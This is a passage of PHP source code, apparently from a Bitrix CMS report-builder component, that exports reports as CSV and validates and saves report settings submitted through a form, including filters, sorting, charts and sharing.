$reportId = intval($_POST['EXPORT_REPORT']);
$rightsmanager = new Bitrix\Report\RightsManager($USER->GetID());
if(!$rightsmanager->canRead($reportId))
{
$_SESSION['REPORT_LIST_ERROR'] = GetMessage('REPORT_ERROR_ACCESS_DENIED');
LocalRedirect($arParams['PATH_TO_REPORT_LIST']);
}
$queryObject = Bitrix\Report\ReportTable::getById($reportId);
if($report = $queryObject->fetch())
{
unset($report['ID']);
unset($report['CREATED_BY']);
unset($report['CREATED_DATE']);
unset($report['MARK_DEFAULT']);
$arResult['REPORT'] = $report;
}
$APPLICATION->RestartBuffer();
Header('Content-Type: text/csv');
Header('Content-Disposition: attachment;filename=report'.$reportId.'.csv');
$this->IncludeComponentTemplate('csv');
die();
}
if (!empty($_POST) && (!empty($_POST['report_select_columns']) || $arParams['ACTION'] == 'delete_confirmed'))
{
// <editor-fold defaultstate="collapsed" desc="POST action">
$formErr = '';
// check csrf
if (!check_bitrix_sessid('csrf_token'))
{
throw new BXFormException(GetMessage('REPORT_CSRF'));
}
// delete
if (empty($formErr) && $arParams['ACTION'] == 'delete_confirmed')
{
CReport::Delete($arParams['REPORT_ID']);
$url = CComponentEngine::MakePathFromTemplate(
$arParams["PATH_TO_REPORT_LIST"], array()
);
LocalRedirect($url);
exit;
}
// <editor-fold defaultstate="collapsed" desc="prepare title">
$title = !empty($_POST['report_title']) ? trim((string) $_POST['report_title']) : '';
if (empty($title))
{
$formErr = GetMessage('REPORT_TITLE_NOT_SELECTED');
}
$description = !empty($_POST['report_description']) ? trim((string) $_POST['report_description']) : '';
// </editor-fold>
// <editor-fold defaultstate="collapsed" desc="preapre period">
if (!empty($_POST['F_DATE_TYPE']) && in_array($_POST['F_DATE_TYPE'], $periodTypes, true))
{
$period = array('type' => $_POST['F_DATE_TYPE']);
switch ($_POST['F_DATE_TYPE'])
{
case 'days':
$days = !empty($_POST['F_DATE_DAYS']) ? (int) $_POST['F_DATE_DAYS'] : 1;
$period['value'] = $days ? $days : 1;
break;
case 'after':
$date = !empty($_POST['F_DATE_TO']) ? (string) $_POST['F_DATE_TO'] : ConvertTimeStamp(false, 'SHORT');
$date = MakeTimeStamp($date);
$period['value'] = $date ? $date : time();
break;
case 'before':
$date = !empty($_POST['F_DATE_FROM']) ? (string) $_POST['F_DATE_FROM'] : ConvertTimeStamp(false, 'SHORT');
$date = MakeTimeStamp($date);
$period['value'] = $date ? $date + (3600*24-1) : time() + (3600*24-1);
break;
case 'interval':
$date_f = !empty($_POST['F_DATE_FROM']) ? (string) $_POST['F_DATE_FROM'] : ConvertTimeStamp(false, 'SHORT');
$date_f = MakeTimeStamp($date_f);
$date_t = !empty($_POST['F_DATE_TO']) ? (string) $_POST['F_DATE_TO'] : ConvertTimeStamp(false, 'SHORT');
$date_t = MakeTimeStamp($date_t);
if ($date_f || $date_t)
{
$period['value'][0] = $date_f ? $date_f : time();
$period['value'][1] = $date_t ? $date_t + (3600*24-1) : time() + (3600*24-1);
}
break;
default:
$period['value'] = null;
}
}
else
{
$period = array('type' => 'month', 'value' => null);
}
// </editor-fold>
// <editor-fold defaultstate="collapsed" desc="prepare select fields">
$select = array();
foreach ($_POST['report_select_columns'] as $k => $v)
{
if (!is_numeric($k))
{
// probably it's example of column (%s)
continue;
}
$row = array();
// valid field definition
if (array_key_exists($v['name'], $fieldList))
{
/** @var Entity\Field $field */
$field = $fieldList[$v['name']];
// save definition
$row['name'] = $v['name'];
// save alias
if (!empty($v['alias']))
{
$row['alias'] = $v['alias'];
}
// save aggregation
if (!empty($v['calc']))
{
if (array_key_exists($v['name'], $calcVariations))
{
$calcVars = $calcVariations[$v['name']];
}
else
{
$calcVars = $calcVariations[call_user_func(array($arParams['REPORT_HELPER_CLASS'], 'getFieldDataType'), $field)];
}
if (in_array($v['calc'], $calcVars, true))
{
$row['aggr'] = $v['calc'];
}
}
// save prcnt
if (strlen($v['prcnt']))
{
if ($v['prcnt'] == 'self_column' || array_key_exists($v['prcnt'], $_POST['report_select_columns']))
{
$row['prcnt'] = $v['prcnt'];
}
}
// save grouping
if (isset($v['grouping']))
{
$bGroupingMode = true;
$row['grouping'] = true;
}
if (isset($v['grouping_subtotal'])) $row['grouping_subtotal'] = true;
$select[$k] = $row;
}
}
if (empty($select))
{
$formErr = GetMessage('REPORT_NO_COLUMN_SELECTED');
}
// </editor-fold>
// <editor-fold defaultstate="collapsed" desc="prepare sorting">
$sortFieldKey = (int) $_POST['reports_sort_select'];
$sortType = 'ASC';
if (array_key_exists('reports_sort_type_select', $_POST) && $_POST['reports_sort_type_select'] == 'DESC')
{
$sortType = 'DESC';
}
// </editor-fold>
// <editor-fold defaultstate="collapsed" desc="prepare filters">
$filter = array();
// step 1. validation and normalize format, remove failed filters and fields
foreach ($_POST['filters'] as $fId => $filterInfo)
{
// validate logic
if (
!array_key_exists('logic', $filterInfo)
|| ($filterInfo['logic'] !== 'AND' && $filterInfo['logic'] !== 'OR')
)
{
continue;
}
$iFilterItems = array();
foreach ($filterInfo as $key => $subFilter)
{
// collect fields and subfilters
if ($key === 'logic')
{
continue;
}
if ($subFilter['type'] == 'field')
{
// validate field and calc
if (
array_key_exists($subFilter['name'], $fieldList)
&& CReport::isValidFilterCompareVariation(
$subFilter['name'],
call_user_func(array($arParams['REPORT_HELPER_CLASS'], 'getFieldDataType'), $fieldList[$subFilter['name']]),
$subFilter['compare'],
$compareVariations
)
)
{
$iFilterItems[] = $subFilter;
}
}
else if ($subFilter['type'] == 'filter')
{
// hold link to another filter
$iFilterItems[] = $subFilter;
}
}
if (!empty($iFilterItems))
{
$iFilterItems['LOGIC'] = $filterInfo['logic'];
$filter[$fId] = $iFilterItems;
}
}
// step 2. replace (link) sub-filters if it still exists
$filter = array_reverse($filter, true); // start from end
foreach ($filter as $fId => &$filterInfo)
{
foreach ($filterInfo as $key => $subFilter)
{
if (is_array($subFilter) && $subFilter['type'] == 'filter')
{
$sfId = $subFilter['name'];
if (array_key_exists($sfId, $filter))
{
//$filterInfo[$key] = &$filter[$sfId];
}
else
{
unset($filterInfo[$key]);
}
}
}
// remove empty filters
if (count($filterInfo) == 1 && array_key_exists('LOGIC', $filterInfo))
{
unset($filter[$fId]);
}
}
$filter = array_reverse($filter, true); // restore order
$iFilter = $filter;
// </editor-fold>
// <editor-fold defaultstate="collapsed" desc="prepare limit">
$limit = !empty($_POST['report_filter_limit']) && is_numeric($_POST['report_filter_limit'])
? $_POST['report_filter_limit']
: null;
// </editor-fold>
// <editor-fold defaultstate="collapsed" desc="prepare red negative values">
$redNegativeValues = ($_POST['report_red_neg_vals'] === 'on') ? true : false;
// </editor-fold>
// <editor-fold defaultstate="collapsed" desc="prepare helper specific settings">
// use columns selection of price types
if ($_POST['helper_spec_ucspt'] === 'on')
{
$helperSpecSettings = array('ucspt' => true);
}
// </editor-fold>
// <editor-fold defaultstate="collapsed" desc="prepare chart settings">
if ($arParams['USE_CHART'])
{
if (!empty($_REQUEST['display_chart']))
{
$chart = array(
'display' => true
);
$chartTypeIds = array();
foreach ($arResult['chartTypes'] as $chartTypeInfo) $chartTypeIds[] = $chartTypeInfo['id'];
if (isset($_REQUEST['chart_type']) && in_array($_REQUEST['chart_type'], $chartTypeIds))
{
$chart['type'] = $_REQUEST['chart_type'];
if (isset($_REQUEST['chart_x']) && isset($_REQUEST['chart_y']) && is_array($_REQUEST['chart_y']))
{
$chart['x_column'] = intval($_REQUEST['chart_x']);
foreach ($_REQUEST['chart_y'] as $k => $v)
{
if (is_numeric($k)) $chart['y_columns'][intval($k)] = intval($v);
}
}
}
}
}
// </editor-fold>
// <editor-fold defaultstate="collapsed" desc="prepare mobile settings">
$mobile = null;
if ($_POST['report_mobile_enabled'] === 'on')
{
$mobile = array('enabled' => true);
}
// </editor-fold>
// <editor-fold defaultstate="collapsed" desc="prepare sharing data">
$sharingData = array();
if(!empty($_POST['sharing_entity']) && is_array($_POST['sharing_entity']))
{
foreach($_POST['sharing_entity'] as $entityId => $entity)
{
$sharingData[$entityId]['right'] = $entity;
}
}
// </editor-fold>
// combine
$reportSettings = array(
'title' => $title,
'description' => $description,
'owner' => $ownerId,
'entity' => $entityName,
'period' => $period,
'select' => $select,
'filter' => $iFilter,
'sort' => $sortFieldKey,
'sort_type' => $sortType,
'limit' => $limit,
'red_neg_vals' => $redNegativeValues,
'grouping_mode' => $bGroupingMode
);
if (isset($helperSpecSettings)) $reportSettings['helper_spec'] = $helperSpecSettings;
if ($arParams['USE_CHART']) $reportSettings['chart'] = $chart;
if (is_array($mobile) && count($mobile) > 0) $reportSettings['mobile'] = $mobile;
if (!empty($formErr))
{
throw new BXFormException($formErr);
}
// save
$ID = false;
if ($arParams['ACTION'] == 'create' || $arParams['ACTION'] == 'copy')
{
$ID = CReport::Add($reportSettings);
}
else if ($arParams['ACTION'] == 'edit')
{
$ID = $arParams['REPORT_ID'];
CReport::Update($ID, $reportSettings);
}
if($ID)
{
$sharing = new Bitrix\Report\Sharing($ID);
$sharing->changeSharing($sharingData);
}
$url = CComponentEngine::MakePathFromTemplate(
$arParams["PATH_TO_REPORT_VIEW"],
array('report_id' => $ID)
);
LocalRedirect($url);
exit;
// </editor-fold>
}
else
{
// <editor-fold defaultstate="collapsed" desc="initialize default values">
if ($arParams['ACTION'] == 'edit' || $arParams['ACTION'] == 'copy')
{
$settings = unserialize($arResult['report']['SETTINGS']);
call_user_func_array(
array($arParams['REPORT_HELPER_CLASS'], 'fillFilterUFColumns'),
array(&$settings['filter'], &$fieldList)
);
call_user_func_array(
array($arParams['REPORT_HELPER_CLASS'], 'fillFilterReferenceColumns'),
array(&$settings['filter'], &$fieldList)
);
$arResult['preSettings'] = $settings;
// change title
if ($arParams['ACTION'] == 'copy')
{
$arResult['report']['TITLE'] .= ' ('.GetMessage('REPORT_TITLE_COPY').')';
}
}
else
{
// default preset for new report
$arResult['preSettings'] = array(
'select' => call_user_func(array($arParams['REPORT_HELPER_CLASS'], 'getDefaultColumns'))
);
}
// </editor-fold>
$arResult['ufInfo'] = call_user_func(array($arParams['REPORT_HELPER_CLASS'], 'getUFInfo'));
}
}
catch (Exception $e)
{
//throw $e;
if ($e instanceof BXFormException)
{
$arResult['FORM_ERROR'] = $e->getMessage();
// refill form
$arResult['report']['TITLE'] = $reportSettings['title'];
unset($reportSettings['title']);
call_user_func_array(
array($arParams['REPORT_HELPER_CLASS'], 'fillFilterReferenceColumns'),
array(&$reportSettings['filter'], &$fieldList)
);
$arResult['preSettings'] = $reportSettings;
}
else
{
$arResult['ERROR'] = $e->getMessage();
}
/*else if ($e instanceof BXUserException)
{
$arResult['ERROR'] = $e->getMessage();
}
else
{
$arResult['ERROR'] = GetMessage('REPORT_UNKNOWN_ERROR');
}*/
}
$arResult['randomString'] = $this->randString();
$this->IncludeComponentTemplate();
// <editor-fold defaultstate="collapsed" desc="tree structure description">
// format fields parameters to chains and build fields tree
//array(
// array($originalDefinition, $elem, $subTree),
// array(str, scalar, null)
// array(str, entity, array(
// array(str, scalar, null)
// array(str, scalar, null)
// ))
//)
// </editor-fold>